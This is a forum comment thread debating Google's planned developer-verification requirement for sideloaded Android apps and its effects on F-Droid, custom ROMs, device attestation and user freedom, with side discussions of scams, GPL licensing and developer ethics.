If I can't run F-Droid and termux and all that, I have no need for Android supposed freedom. I'll just use an iPhone (it would be the first time!), minimize my use of mobile platforms to the maximum extent I can and stick with Linux laptops.
I'm currently researching Android alternatives, including Librem and Jolla C2, and I'm skeptical that those will be compelling. It's just so sad.
I’ve been daily driving a Librem 5 for two years. It’s not compelling, but I’m surprised at how little all those tiny inconveniences matter in the long run.
I think we tend to underestimate our ability to get used to stuff.
If both phone OS's are going to be the exact same on user choice then you might as well compare the two on their merits and this is not a comparison Android wins.
I rely on fdroid and am not sure what I'll do with this pixel 6a. I sometimes root, sometimes don't but I may have to get on the lineageos program full time. And I'm hoping for a rumored last batch of pinephone pro phones to be available later this month although I have no illusions about it being a real daily driver.
I have issues getting sms pass through to a secondary profile, especially if it is a group message or contains media. I have to remember to open the messaging app for it to actually refresh and download/notify me of new messages.
It didn't used to be like this but started maybe a year ago.
No root is a major security feature, you have chosen an OS that prioritizes security.
Use some other browser if dark mode is really important to you.
I think the launcher is good and I can't think of anything to improve on it. I'm happy it's the default, but I'm sure you can switch to a different launcher if you want.
Pattern unlock is also not there because of security.
fdroid is based in the EU and the Cyber Resilience Act was already going to force them to either make their filters more strict (absolutely prohibit anything with any sort of "monetization"), or start collecting this data.
If they have anything on the platform that is subject to the CRA, they are a distributer:
Use an iPhone, minimize my use of it. Continue to emphasize Linux on all my other devices. Move away from Google and Apple services to as much self-hosting as possible. Leverage TailScale to make my services accessible, globally, without actually exposing them on the internet. I'm just assuming that I will have to have some kind of attested device in order to run banking and payment apps and that might as well be a locked down device like an iPhone.
An unofficial build of Android, like Grapheneos. It likely won't be able to install apps from the Play Store, but at that point it might be a blessing.
They're also the best equipped to tell if you've done so, and restrict access from critical functionality needed by many in their day-to-day lives if you've done so.
The intentions behind all the security hardware they introduced in pixel phones first, and is now required by play integrity to function might've been well-meaning, but that doesn't really matter in the end. Security features that the user can't control and bypass aren't security features - they're digital handcuffs.
true, and recently they deserved a lot of credit for publicly releasing their device trees and drivers. unfortunately, with the 10 series pixels they no longer will be releasing device trees, which makes it much more difficult to maintain custom ROMs
Oh, yes... Actually I remember: it was a long slow series of accepting small artificial restrictions. I remember people laughing at me at the time. They said it won't matter, they didn't care, that I was paranoid...
Unless this is used to block TikTok or ChatGPT users still won’t care and people will still laugh at us for caring, or think wanting privacy or control of your computers is suspicious or ungood.
and don't forget all the people with the dismissive remarks about how it didn't affect them on their Graphene or Calyx phones. We're all downstream of something. The real product of Android for us was always the interoperability with the normal world for the tinkerer.
Though the founders don't stand for it, they unintentionally exist to capture the most vocal people and diverge them from the norm such that the uninformed consumer has no defenses. It's as if the kinds of people who would support the civil liberty charity said "to hell with it" and founded their own parallel society.
look at all those HNers happily cheering at Apple's walled garden. Not surprising that there would be many pushing for a similar garden in Google too.
Mobile phones have never been free, we may just need to acknowledge this. From the 90s where telecom companies controlled everything, to now, where only 2 companies control everything. The only way to push back is through vendor-independent standards, especially for all security related stuff (because at the end of the day, security is the problem they are trying to "solve"). If standards exist, alternatives can be built.
We had no part in this. The blame lies squarely with Google and its employees, who trade away user freedom for profit and career gain. Many who are smart enough to know better but instead compromise their principles. It's just another symptom of late-stage capitalism.
> Google notes “supportive initial feedback” from government authorities and other parties:
Ah, then I guess everything is fine. I'm sure they aren't in favour because it gives governments greater control over what apps we're allowed to have on our phones. That would be absurd.
I feel like that makes the most sense. That this isn't something Google thought up but something that the EU wanted to ensure its government ID app was "safe". Google does benefit but the timing seems to line up.
It makes total sense to the average person. There has been a constant stream of “yet another Android user got scammed out of their life savings because of Android side loading; iPhone users not affected”
It’s an inconvenient fact for power users, but side loading makes users significantly more vulnerable to scams and restricting side loading is both a predictable and reasonable response to that fact.
If you don’t like this, you need a better argument than “my desire to run any app I want is more important than pensioners losing their life savings” because that is not a winning argument with the average person, with governments, or with Google/Apple.
> As I’ve mentioned here before, sideloading is a genuine security concern, not merely an excuse for Apple to exert control. There is a never-ending stream of people losing their life savings. It happens on Android and not iOS because Android allows sideloading and iOS doesn’t. There is a very real human cost to this.
> Police warn new Android malware scam can factory reset phones; over S$10 million lost in first half of 2023
> There have been more than 750 cases of victims downloading the malware into their phones in the first half of 2023, with losses of at least S$10 million (US$7.3 million).
> 74-year-old man loses $70k after downloading third-party app to buy Peking duck
> “I couldn’t believe the news. I thought: Why am I so stupid? I was so angry at myself for being cheated of my life savings. My family is frustrated and I ended up quarrelling with my wife,” said Mr Loh, who has three children.
> Singapore Android users to be blocked from installing certain unverified apps as part of anti-scam trial
> "Based on our analysis of major fraud malware families that exploit these sensitive runtime permissions, we found that over 95 per cent of installations came from internet-sideloading sources," it added.
> Android users in Singapore tried to install unverified apps nearly 900,000 times in past 6 months
> These attempts were blocked by a security feature rolled out by Google six months ago as part of a trial to better protect users against malware scams, which led to at least S$34.1 million (US$25.8 million) in losses last year with about 1,900 cases reported.
Malware exists, but you are only focusing on the benefit of removing user freedoms. Can you provide a similar analysis of the costs, or do you just ignore them because they are hard to reason about?
F-Droid is a massive win for the mobile ecosystem, probably the last bastion of useful free software for mobile devices. Being able to build an APK at home and run it on my phone is the ideal way computers should be used. But you can't put a price on these freedoms.
You're advocating for a system that removes the least abusive app store so we can hand more control to the most abusive app store. I can't support that, especially when it's glaringly obvious that walled app store are neither necessary nor sufficient to provide safety for users.
I think your comment highlights the balancing act of providing an open platform while also protecting the average user. I'm sure everyone here knows that the average technology user is not the brightest or savvy. Making changes like putting scare screens before side loading an app is a good compromise on the user side. However it does make it more difficult for app developers to distribute their apps that way. Anyone with basic security training will be cautious about going further. So you've effectively limited your audience just to power users.
However moving to a whitelist system I think is counterproductive. Especially when Google is the only one with the power to edit that list. There is a reason Microsoft or Apple never went down this route in the name of security. It's just too much of a burden on them and it hinders power users, hobbyists, and small developers. Cases where one might want to keep their identity to themselves are edge cases but they are VERY important edge cases.
I know the situation in Singapore and Thailand and I was curious if there would be anyone mentioning it in this discussion. Thank you for your comment, you should be upvoted.
All of those links 404s for me. Can you explain how the malware works? You are aware that it's not the app store that protects you, but the sandboxing? Are these impersonation vectors, ie phishing?
I didn’t notice that Hacker News had truncated the URLs for display. You can get to the articles by following the links in the original comment.
> You are aware that it's not the app store that protects you, but the sandboxing?
Both protect you.
> Are these impersonation vectors, ie phishing?
It’s a variety of things. Some use accessibility hooks to act as key loggers. Some seem to use exploits. Some are phishing by impersonating other apps.
When governments across the globe are becoming more authoritarian, we need to protect our ability to run whatever app we want. Otherwise they'll ban communication apps when we step out of line and protest, as we've seen in places like Hong Kong on more locked down platforms like iOS. This isn't about power users. It doesn't matter how many links you post. The US is literally turning into an authoritarian dictatorship before our eyes. Germany's AfD now commands 25% of the vote and it keeps increasing. Far right parties are gaining ground everywhere.
We can't be handwringing about safety right now, because our right to free speech and to protest are at stake. Our democracies are at stake here.
The vast, vast majority of android malware that's used is on the Google play store. Because that's where the vast, vast majority of apps are from.
This is a completely made up and hallucinated problem. I will not mince words - this is a blatant attempt at deception.
We do not need to block sideloading to:
1. Stop malicious apps (does nothing)
2. Stop users from side loading
If we want to stop sideloading, we can simply introduce an arduous process to enable side loading. For example - consider turning on ADB. Do we vaporize ADB? No, because that's fucking stupid.
But now when it comes to apps, that little nugget of information is suddenly conveniently not considered.
It makes perfect sense. Clients of Google are businesses and governments, not users of free products. They used to be less open about it until recently
It will be interesting to see how they handle packages from the various f-droid repos. F-droid builds and signs all their apps themselves, so will all of f-droid be covered by a single signing key and developer account? Or will the fact that they take apps from lots of folks bar them from an account?
F-Droid generates a unique key for each app and that key is then reused for all builds of that app. This will probably just require registering the F-Droid public key to the package name with Google.
Unless I misunderstood the question, this is covered in TFA
> The tech giant stresses that this does not mean developers can’t distribute outside of the Play Store through other app stores or via sideloading — Android will remain open in that regard.
You have misunderstood the question, or perhaps buried the lede. 'Open in that regard' is tantamount to not open at all. If you gatekeep being able to load an app to an Android phone behind these processes, you're essentially stuck with no recourse if you, say, have a banned google account, or have some reason you don't wish to send your government ID to these companies.
It also makes sure you only get one ID for life. There’s no creating a second account if you get banned because they’ll (likely at some point) collect biometric data as part of the verification process.
These big companies need to be broken into a thousand pieces. They’re starting to become the gatekeepers of participating in society.
Right, governments have found it very convenient to let Big Tech do most of the data collecting that would be politically problematic if they collected it themselves directly.
One doesn't have to be Einstein to realize why governments everywhere haven't cracked down on Big Tech's excesses/privacy breaches etc. ages ago.
You only have to look at the UK/Apple fiasco to see to see how desperate governments have become for user data. In this case the UK Govt. was so desperate for user data it overstepped the mark. (At least until now most other governments have been prepared to sit on the sidelines and just sap Big Tech for user info whenever they want it.)
Your own quote shows the source of the confusion. OC was asking how will google handle apps that have somebody else signing for them. Your quote talks about letting devs that go through a verification process still side load (though that has no real benefit at that point since google still holds control over you)
>The Play Store implemented similar requirements in 2023, but Google is now mandating this for all install methods, including third-party app stores and sideloading where you download an APK file from a third-party source.
I always wonder, who are the developers doing this? don't they feel bad about going through with these changes or do they fool themselves thinking it's the right thing? is it greed?
many other fields have an explicit or implicit ethics code which we seem to lack. I'm thinking about other fields like medicine, engineering, etc. Probably since the entry level to development is low and anyone can do it, it means there's no way to enforce/teach it?
The usual answer that their livelyhoods depend on it is simplistic, these are the best paid developers in the US, pretty sure they have some sway power. There are doctors in way poorer countries with higher ethics standards.
They think they're fighting malware, because that is their main motivation.
They're just not also worrying about other effects like making it easy for governments to ban software, or making it hard for people to write software under a pseudonym.
Paternalistic mechanisms are relatively popular in security engineering right now because users are so often unsophisticated and time-constrained, while attackers are so often sophisticated and well-resourced. Paternalism almost always responds to real risks and threats, so it doesn't feel malicious because it's not rooted in malice.
I'm glad that people are so worried about this change, because I find it really alarming. But it's not like restrictions on people's choices have been that unusual as a response to dangers in modern history. In fact, professions like public health, occupational safety, and tort law often seem to presume that the general public probably shouldn't be allowed to make certain kinds of dangerous choices. They might be ethically wrong about that, but they clearly don't see themselves as bad guys for thinking so.
that's a good point. As a developer, this particular case obviously I understand much better and see the where it leads - the opposite direction of the openess that made PCs and computing so revolutionary in the last few decades.
It's also worrying that in this case it's a private corporation the one calling the shots. Naively, in the other cases you mention it's at least government dictated which means there's some sense of accountability and transparency to the process (not saying that it's perfect of course).
I think they believe it is a good change, becuase they're tasked with fixing the fact users can install malware. They've been telling themselves their propaganda for months/years before the changes hit production
Yeah, I guess so. That must lead to a lot of cognitive dissonance as I am sure these are not "evil" people, they just find a way to rationalise it away.
What makes you so sure that such a hypothetical code of ethics would promote user freedom? I think it far more likely that protecting the user from harm (i.e., not allowing the user to install malware) would appear in that code.
Philosophers have been arguing about morality and ethics for thousands of years, and are no closer to consensus than they have ever been. The idea that 'I should be allowed to do whatever I want with computing machinery that I have bought' is a political choice, and because only a very small proportion is able to exercise that belief or even understand what it means, it is highly susceptible to being discarded in favour of beliefs like 'do whatever it takes to get the scammers off the internet'.
> The usual answer that their livelyhoods depend on it is simplistic, these are the best paid developers in the US, pretty sure they have some sway power.
You think that Google's best and brightest are working on the Google Play store?
> You think that Google's best and brightest are working on the Google Play store?
No idea, whoever they are they're still well compensated and can afford some resistance
> What makes you so sure that such a hypothetical code of ethics would promote user freedom? I think it far more likely that protecting the user from harm (i.e., not allowing the user to install malware) would appear in that code.
Maybe? Maybe not? I never said I'm sure of it, but computing is built on a history of openness and interoperability. We at somepoint agreed having open hardware and protocols was the way to go, and we were right. A lot of the world runs on open source software, we managed to built the internet, we have PCs where you can swap components and it just works. None of that is obvious if you were to re-invent it in 2025. Malware is an excuse, you can battle that without losing any of the above.
> No idea, whoever they are they're still well compensated and can afford some resistance
Claiming that people you've never met are sufficiently financially secure to risk their livelihood for your protest movement is the kind of hubris I hope to never have.
> computing is built on a history of openness and interoperability
There was nothing inevitable about this, and while it is the superior engineering choice, that's not how decisions are made. Open standards and protocols only gained industry support because those industry players were trying to commoditise their complements, and open standards were the only way to achieve that. There are plenty of players in the industry who work under the monolithic closed-source model, but we 'cool kids' never hear about them, because they only talk to massive businesses with procurement departments.
>> Claiming that people you've never met are sufficiently financially secure to risk their livelihood for your protest movement is the kind of hubris I hope to never have.
I don't understand your agressiveness towards me, this is a conversation, we can talk and disagree without insulting.
I don't know every developer at Google or their situation but the idea that they're victims of a system that forces their hand is a stretch. There's people resisting changes they don't want at every step of the soci-economical ladder in different countries across countries and cultures. I can 100% understand a single person not being able to do so given their life circustances, but we're talking about a change across an organisation that probably encompases 100s of people, this is not resting on a single person. As I said in my original post, there's doctors in poorer countries with better ethics, what's different about developers?
> I don't understand your agressiveness towards me, this is a conversation, we can talk and disagree without insulting.
I agree wholeheartedly, and if I really wanted to insult you, I wouldn't bother replying to you at all. You're clearly putting some thought into this, and I respect that, but I think your take is really bad.
I work in the gambling industry. Each weekday, I start my laptop with the knowledge that thousands of people will be hurt by the work I do. Not just the people who play the games, but their families, their children, and, in some cases, their employers who are embezzled from. But my employer treats me better than any other employer I've had, and not just in terms of money (even though I'm not well paid as far as software engineers go). My first career was as a schoolteacher - the poster child of the ethical career - and my fellow teachers treated me like dog shit, in numerous schools: people will do awful things to each other when they believe they're acting for 'the greater good'.
I don't think we can argue that the software engineers at Google are acting unethically because we don't know what choices they have, and we don't know what obligations they have outside their work. I'm not sure that we can argue that 'software freedom' is beneficial to everyone outside a small elite of power users. As much as we can argue that what Google has decided is bad for us as individuals, I don't think we have enough information to morally condemn the people who made and implemented that decision.
In my country, and I believe it's true for surronding countries too ... we are tought to earn money, ethics comes later. They do not see the deeper implications, nor care about ethics, as long as it's filling up their bank.
I have a couple of friends working at Google. They don't care about this stuff at all. They seem to be completely bought into the "every man for himself" neoliberal worldview. My sample size is obviously small, but judging by the actions of the company, my friends seem not to be the exception.
"You may also need to upload official government ID."
This won't end well for Google or the governments involved when the people get so angry that they are forced to roll this back. Switch to an alternative phone OS.
> This won't end well for Google or the governments involved when the people get so angry
The amount of people this makes angry is so minuscule that it probably wouldn’t even pass one of those theatrical “sign this petition to get the government to discuss it” thingy. Mind you, the only reason the whole side-loading court cases were going forward is because a giganormous company (Epic) wanted to make more money instead of paying the Google/Apple tax. Not because some people were angry.
This is a lot more complicated than that. I'm not sure how I feel about the demand for government ID. The demand for money that comes with the app stores I find to be a problem and so does the EU, that was a big point of the DMA. It remains to be seen how those regulations play out. Maybe the DMA won't do what I want. But the DMA seems to be aimed at this sort of thing, even if it actually has the same sort of requirements around government ID, it does require openness.
Recent precedent suggests it only takes one really angry person to get a company to reconsider its course of action. The problem is software devs are far too comfortable for such action.
> the people get so angry that they are forced to roll this back.
This is political fantasy. There is no mechanism for "the people" to force anyone to roll this back. They can vote for the candidate owned by google, or the candidate owned by google. If they want to find another candidate, they'll have to use google to find one.
Agree and disagree: the pressure on unity worked, and Sonos and, IIRC on Google's "federated cohorts" idea.
But often people try to project their opinions onto "the people" and predict they will rise up, and there's probably 100 predictions in comment sections that are completely spurious to every one that actually happens
So I'm not sure, but if I had to guess this one is a rare case where there may be real prospect of backlash.
They will just get sacked for sycophants either here or abroad. For every principled worker there is, there is another person willing to eschew those principles for that paycheck. This is a desperate world by design to enable these tradeoffs by the very people who build, maintain, deploy, and ultimately control the worlds systems.
Absolutely not. The French revolution overall had enormously positive effects on Europe in terms of equality. A quick look into that period across Western Europe will give you numerous cases where suddenly the powerful became uncharacteristically eager to let go off significant parts of their power. In fact this event may well have had the biggest such effect of any event in history.
A recent event last year in the US also immediately resulted in actions undertaken whereas peaceful protests did not. Mostly protective actions, but it showed a very clear impact, the contrast was stark.
Based on what? Sure quips like that are catchy, but what "oligarchs" were there in the Soviet Union circa 1920-1989? The "nomenklatura", while well-off, were absolutely nowhere near the wealth of today's American oligarchs or modern (capitalist) Russian ones. Moreover, unlike oligarchs, they do not form a class: wealth does not transfer reliably one generation to the next, and individuals would phase in and out of high status according to their position in their career.
A very striking way to illustrate this is to look at the career histories of high government officials even very late into the Soviet Union. The last Minister of Coal, Mikhail Shchadov, was born in a village, worked in a mine, went to mining school for engineering, became head of his mine, and thereafter worked his way up the ranks until he was head of the whole apparatus. This story, not that of inherited wealth or monopolistic oligarchs, dominates the histories of Soviet ministers even very late in the decline of the Union.
Where is the "other set" of oligarchs of which you speak? There is none, which means there is hope for workers who might wish to enact fundamental economic change.
You can quibble over degree and the path taken, but wealthy insiders using money to control politics and ideological insiders using political control to amass wealth feel like two sides of the same coin, both leading the same way.
Your definition of class also seems to be very different from a traditional Marxist take -- hereditary systems were mostly seen as a symptom and not the problem itself, and were mostly orthogonal to any understanding of class.
I _hope_ there is hope, but I don't have much confidence that it lies in century old tropes of "rise up and throw off your chains."
But that's the key point: these people weren't insiders, not before gaining their positions, and they didn't even really accumulate wealth. They gained benefits from their position, sure, but little of that was attached to their position -- rather, to their office, and when that office lapsed, so did those privileges. When Khrushchev was removed from office, he got a small pension (500 rubles/mo.) and a house + cottage in which to spend his retirement, and even that was considered relatively comfortable.
So what did they accumulate? Few acquired power for life; none acquired significant wealth, or a power base independent from the party-state. Even after the end of the union, it was not the former nomenklatura who became new oligarchs: by and large it was the security services and their affiliates who were able to feed on the corpse.
You're right to critique how I described class in the previous message, but what I was trying to accumulate was essentially the above. It's not perfect, but I think this is very much a situation where it's important to not let the perfect be the enemy of the good. I would far rather live in a society where my leaders were once workers like me, raised in the same way, and all men were subject to the same basic economic guarantees. What we live in today is the rule of oligarchs, and it'd be a big step up to merely suffer the rule of bureaucrats.
If a government was to plan something like that, there would be protest in front of the parliament. Were are the protest in front of Google main office? If there are a few hundreds of angry developers handing out flyers at Google employees on there way to the office, explaining how bad is Google, maybe Google will move, because they care about the bad publicity. Open source developers involved with Android and app in California should walk in front of Google offices to protest.
Attestation & Play Integrity is having a good go at blocking this: lots of critical software (e.g. the app required to use your bank account) requires certified attested devices, and Google are pushing hard to get as many apps as possible to activate that for "security", making non-Google Android un fixably 2nd tier in functionality.
Doesn't GNU/Linux also have this problem with e.g. Netflix? If you don't pass their spyware, you get shitty streams from video apps and no access to financial accounts.
ironically, making linux users consider sailing the high seas for actual 4k rips instead of actually paying for the service just to get blocky low bitrate 720p content. so this piracy prevention not only creates more potential pirates, but makes paying customers' lives harder while not affecting the aforementioned pirates, who can now watch it at 4k on any device or program they wish
>and Google are pushing hard to get as many apps as possible to activate that for "security"
I'd be interested in further reading on Google's outreach to big banks and major finance CO's ( or others) pushing for device attestation if you have any further reading.
And not just financial apps. Even TikTok, a platform which people around the world are using for various good activities that governments may not like, is using Play Integrity.
Most vendors, including the big ones, don't play well with that. Google just revoked open sourcing the Pixel as the reference design which was the strongest option for that. Things like newer Samsungs are black boxes and everyone is actively making it harder to do anything with devices you bought and paid for.
Locked bootloaders are probably not a GPLv2 violation, and probably are a GPLv3 violation. This type of situation was a major reason GPLv3 was created. Another was clarification of some grey areas (these are the reason for "probably").
But the Linux kernel is GPLv2, and only v2. For better or worse, locking down the bootloader is (probably) pernitted with the Linux kernel.
The Sofware Freedom Conservancy are the main (or only?) enforcers of the GPL these days, and if you read their posts, you will see they disagree with you, GPLv2 requires the ability to modify and reinstall.
Having read [1] in particular, I think you're right and I was mistaken. Thanks! That's quite eye-opening for me, as I followed discussion about GPLv2 and GPLv3 for years yet didn't know about this view of GPLv2 and reinstallation.
Having heard so much about anti-Tivoization when the GPLv3 was being drafted, and the discussions about it on linux-kernel when Linus decided the kernel will remain GPLv2-only, I was left with the impression that the GPLv2 only required the provision of source code, build scripts, etc. but not the ability to reinstall a new version. [1] makes a pretty good case that the ability to reinstall is also required GPLv2, and I'm heartened that's how Tivo saw it too.
It's increasingly difficult to get current hardware for which an alternative OS is available, and which is not locked.
Right now, it seems to be fairphone or pixel, or old phones which are not easy to obtain. Samsung have announced they will lock their phones, and how long before google locks pixels?
The number of people able to do that is fewer than those willing to send in copies of overnment IDs. Phones compatible with AOSP builds are rare outside small bubbles of Pixel users as well.
> This won't end well for Google or the governments involved when the people get so angry that they are forced to roll this back.
This makes me quite angry, but I guarantee more than 90% of Android users will not be bothered too much about this. Many of them will actually like it, and most of those who don't will just shrug and go on with their day.
My estimate is less optimistic: 99% of users won't ever be bothered with this news nor notice that anything changed, and of those who will, 90% will like it, because 'less malware' is the only thing they can work with.
The weirdest thing to me is that those people who actually care about this are most likely the ones capable of implementing this shit: developers. Us. Who else but developers (OK, and maybe their enlightened spouses) cares about this? We are digging our own graves, basically.
So, Google devels: refuse this. And tell your willing colleague that they are not welcome at your birthday party if they do it.
There are two OS platforms for desktop/laptop usage:
MacOS
Windows
These both contain ways to run arbitrary compiled code from an arbitrary source -- like a computer should. Losing this feature of our smartphones should have everyone concerned.
> These both contain ways to run arbitrary compiled code from an arbitrary source
And they're both working towards taking that away.
For now we have Linux as a 3rd option, but that only exists so long as there's hardware available that'll let you run it. Can easily imagine a near-future where you can only get 'Windows hardware' or 'Apple hardware' and nothing modern that'll boot a 3rd-party OS.
Is that really realistic? Apple very specifically allowed booting unsigned, and even non macOS, operating systems on their ARM devices. Sure - they don’t document the hardware, but making it possible was intentional.
Yes, making it possible was intentional. But it just goes to show easy it would be for them to remove that option. While they are currently specifically choosing not do that for their own hardware, they could change their mind tomorrow.
For precedent, Microsoft locked down their own ARM hardware to Windows.
Right. The OP's point was that just having 2 major OSes is the problem but it's clearly not because we had that situation with desktops/laptops and they both allow arbitrary code.
Over a billion people use iOS and more would have if they could afford it. These companies have big data and they know how many people it’ll affect/annoy. You are outnumbered.
DO NOT UPLOAD YOUR ID/INFO TO GOOGLE. I put my game on their app store some years ago, and they doxxed me right on the app store. Google posted my name and home address right on the game page. Not great when I was already receiving death threats! Later on, had a rando show up at 3AM one night and had to call the cops out. I moved after that. Google is absolutely not to be trusted to keep this data confidential. If Google demands I do anything with them, I'll just tell my fans to install lineageos or whatever instead -- no way in hell I'm having ANYTHING to do with google ever again. GFY google!
If you are having random people try to attack you while you are at your home, you need to be prepared. Strengthen your door jambs with nine inch screws to replace the screws your door is mounted to and use metal plates to strengthen the locks (there are kits available at home improvement stores), install adherent plastic frosting on your windows that will slow down break ins by making the window much more annoying to break through, and install surveillence cameras outdoors. On the offensive front, you can consider OC/CS grenades you can throw down the hallway to avoid exposing yourself and handheld pepper spray for non-lethal deterrence at moderate range. Finally, if all else fails, keep a loaded handgun in a easy to use but hard for kids to unlock gun box under your drawer next to your bed. An under barrel flash light severely blinds invaders and makes them think twice about charging you, maximizing the chances that you nobody will get hurt. The door jamb upgrade is the most important one. I have returned home to a severely beaten door with my shattered iron door knocker on the ground laying in front of the door in pieces but the house was impenetrable to the burglar(s) who weren't willing to break through the glass. It also doesn't hurt to install fake $5 security dome cameras around the property.
If your app is monetized, the contact details of your "business" are shown in the play store. For many smaller developers, this will just be their home address.
It’s important to note that even if you app is not monetized and you don’t have any intention to, Google still requires all this information anyway (including uploading an ID picture and proof of address). Nothing really stops Google from publishing this information in the future.
A deleted comment mentioned this is an EU law, which is partially true, but there is also malicious compliance from Google’s side.
It's also a law in California, I'm pretty sure they say it on the page that requires it and that it would be displayed publicly. It was why I let my app expire.
That's why you have to have a business address, and get all your business admin ducks in a row, even if it's your first real monetized app. Your future self will always thank you!
This directive only apply if you are trading (aka making money) with the app. Why does Google force-collect all this information when you can opt to not be a trader (no in-app purchases, no ads, etc)?
Their own store has a dozen "AI Photo Editor Pro 2026" and "Turbo Deluxe Ultra VPN Secure Pro" apps that are "approved" and yet for sure have malware at worst and at best steals your data and serves nonstop pop up ads
Don't get me started. Every single app I search for on the play store gets a first sponsored result that is a completely different app. It is so utterly broken by design.
The core benefit of Android over iOS for me has always been that it's my device, not Google's.
They've been chipping away at this over the years. Safetynet was the first offense, but if they start restricting app installation from sources of my choice (I hate the term "sideloading"), there's not much advantage left.
I agree 100% with you. I am in a similar situation, rooted and unlocked, slowly but surely getting access restricted.
Google is trying something which will be a net negative for everybody, instead of keeping this _massive_ USP that also keeps a core userbase. Might as well switch to iOS now, I don't have anything which keeps me on Android.
They saw Apple getting away with notarization under the DMA so they're doing the same.
I must admit the mass demotivation strategy is working really well. Seeing this kind of news every single day, affecting you directly and not even being able to do anything
Yep. I feel powerless, and I don't know what to do. I don't think there is anything I can do, except for watch all of technology get locked down to the point that you need a monopolist's or a government's permission before you do anything with it.
It's so fundamentally depressing, and completely at odds with how I grew up viewing tech.
There are tons of things you can do, from spreading the word, organize politically or work on building an alternative ecosystem. Also donate to organizations like EFF.
We're being pushed a message that we're all impotent but the reality is that collectively we can change things, and apathy is exactly what these people try to push onto us.
Things get worse but there are also good laws being pushed: see for example digital markets act and GDPR. 2008 when I started using Linux, gaming on Linux was horrible. Now it's day and night, and linux, while still small, is more popular and usable than ever. Recently alternative social medias like Bluesky, and Mastodon enable more open ecosystems and they've gained a lot of traction.
Android has alternative ecosystems like F-Droid and GrapheneOS that can be built upon and hopefully we can get it to a point where we can ditch Google. We need to keep up the fight.
Donate is the key term here. If you want there to be alternatives to everything that's getting worse, you need to make those alternatives sustainable - even if they're not there yet. You can donate to alternative Android ROMs, efforts to make Linux on mobile usable, and support companies that actually care about users like Fairphone. They all need money to live.
Sweet talk and online activism is great, but the TLDR is always open-source developers need money to work.
I cannot resist the urge to point out that we wouldn't have had this problem if people actually sticked to free software instead of "commercial use friendly" open source licensing
Such a shame that the Free Software Foundation has been such an awful steward of the GPL. The fact that the GPLv3 didn't close the network hole is a decision made either out of myopia or abject cowardice, you shouldn't need a separate license (AGPLv3) to ensure true freedom of the codebase.
"The fact that the GPLv3 didn't close the network hole is a decision made either out of myopia or abject cowardice, you shouldn't need a separate license (AGPLv3) to ensure true freedom of the codebase."
Google was successful in lobbying the FSF to have 2 licences (GPLv3 and AGPLv3) instead of 1 (GPLv3 covering web services).
That's fair, but a more pervasive Free Software ecosystem might have possibly avoided this outcome entirely. And that failure is something we can lay directly at the feet of the FSF.
If RMS was going to piss off the entire industry with a new version of the GPL, the least he could do was close the network hole. What we got instead is a half measure that satisfies nobody.
More importantly, he completely missed the boat on App Stores. Why was there never any watered down version of copyleft that could be used as a wedge to try and pry open app stores over time? They did it for libraries with the LGPL, but apparently app stores werent worth specials casing.
In practice we see the reverse and GPL projects being rewritten as more permissive.
The busybox/toybox case looks especially relevant and interesting:
> In January 2012 the proposal of creating a BSD license alternative to the GPL licensed BusyBox project drew harsh criticism (…). Rob Landley, who had started the BusyBox-based lawsuits, responded that this was intentional, explaining that the lawsuits had not benefited the project but that they had led to corporate avoidance, expressing a desire to stop the lawsuits "in whatever way I see fit".
Free choice in the market is a lie anyhow. You are limited by what is actually been made available in the marketplace in sufficient quantity. "You can have any color you want, so long as it is black." - some old racist industrialist.
An interesting idea. But who would have to "stick" to such software? The users?
It seems to me that most of the users do not care much about what kind of software their phone runs, unfortunately. As long as it works with Instagram or whatever other big brand social media is trending these days, they are happy. Which is I think understandable.
The companies developing the apps are in my opinion driving this cultural shift. And they are doing it mostly because it brings them commercial advantages. Which is, I think, also understandable.
Everyone involved seems to to what appears to be in their best interest. And yet, collectively, we as a society get a worse outcome overall. This phenomenon perhaps has a name.
In order to break out of it, I think that the incentives on both sides need to be adjusted. It needs to be in the companies' interest to produce apps as open source. And the users need to want them.
The only way I can think of to achieve that kind of a change is when the open source apps and products become just inherently better than their proprietary alternatives. In all categories. Then, the people would want them. And then the companies will start to produce them.
It is a very tough goal. The commercial apps do not have to be better in all categories to retain their users. They can use vendor locks or other business strategies which restrict the users' ability to leave them.
Open source apps cannot do such things. The only fair ground on which they can compete is their quality.
- platforms are going to be forced to collect more data about you
- The amount of places without you showing IDs will decrease
- There will be more "moderation". You will not be able to provide nsfw contents, then you will not be able to host controversial topics. I suspect games will be more "kid friendly". No more real doom, gta, or Mortal Kombat for you. I remember how they provided more clothes on women for mortal Kombat
- The rules will always be vague, and used sporadically. Just like YouTube rules, where companies often abuse DMCA just to shut you off, or ban you, if you are not playing nice. Like Schlep.
- Corporations will create pressures on validated users, or ban you for life, but often they will just use "fear" to police people by themselves. Just like people will use "unalive" words, because they know they can get into trouble for saying a different word
- Google will be able to police extensions by banning people
- It is all a boiling frog scenario, where it creeps one law after another until everything is moderated, controlled by corporations
- The safety increases, but freedom decreases
- Free software people will often be mixed in article texts with terrorists, bad actors, predators, pedophiles
- It can happen because people do not understand these mechanisms, and they want "safer" world, in which nobody can get hurt, but it is also a place without you being free
I think this is another thing that has changed in time. Custom ROM's used to be the defining feature of Android but over time less and less people used it. I think sideloading has gotten to that point as well. Where it's a power user feature that most people don't touch. So Google feels confident in nixing it since it only affects a small group of people.
Fewer people use custom ROMs not necessarily because they don't want to, but because manufacturers began putting hardware on the phones that only they have the firmware for. I have a Samsung phone that I replaced as my daily driver because the phone speaker broke from sweat. Other than the speaker it works literally perfectly. I'd love to use it to try different alternative OSs, but AFAIK, even though it's only from 2021, not a single project supports it.
Phones with unlock able boot loaders still exist. Samsung phones outside the US that use Exynos, Pixel, OnePlus, Motorola, etc. The features people made custom rom's for have just become part of Google Android or part of other OEM versions. Even though these popular phones do have unlock able boot loaders there just isn't a large interest in custom rom's. The interest in custom roms and more locked boatloaders happened in parallel.
Its the other way around - these aren't less popular because people want them less now so we kneecap them - they're less popular BECAUSE we've spent the last decade kneecapping them.
Custom roms would be more popular if every app dev and Google weren't doing everything in their power to make their software not work on custom roms.
That's intentional. It didn't used to be that way.
I don't think so. There are still plenty of devices and apps that can be unlocked and run custom roms on. But there is barely any developers working on it. Custom roms were always a power user method to give themselves more functions. What functions are missing from modern OEM roms and launchers?
1. There is exactly one device sold in the entirety of the US that can have the bootloader locked on a custom rom - ironically, the Google pixel.
2. Bootloader locking matters because many (most?) apps will just refuse to run.
3. Why? Because Google built up the attestation API which severely handicapped those 99.9% of devices from running custom roms.
4. Even on the 0.1%, the Google pixel, it won't pass full attestation - so some really picky apps like banking won't run. Only stock android untouched will run those apps.
